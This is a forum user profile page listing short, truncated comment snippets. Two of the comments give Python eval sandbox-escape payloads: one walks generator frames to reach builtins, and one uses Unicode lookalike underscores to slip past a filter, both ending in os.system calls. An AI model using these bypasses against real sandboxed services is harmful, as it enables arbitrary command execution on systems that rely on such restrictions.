Viewing profile — farlow
farlow
HN member- Joined
- Mon, Mar 06, 2023, 1:39 AM UTC
- HN karma
- 70
- Public activity
- 13 items
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About farlow
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Recent public activity
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Comment #48946504
Great writing and cool project! I really enjoyed your intuitive explanations.
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Comment #47511945
You can do it without unicode, too: eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system(…
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Comment #47511916
You can bypass this with unicode: eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function…
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Comment #43884336
Neat, thanks for sharing!
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Comment #43879918
The mod is ultimately just C code that is called from hooks installed into the game engine. Concretely, we overwrite an instruction in the game engine's render function with a jump…
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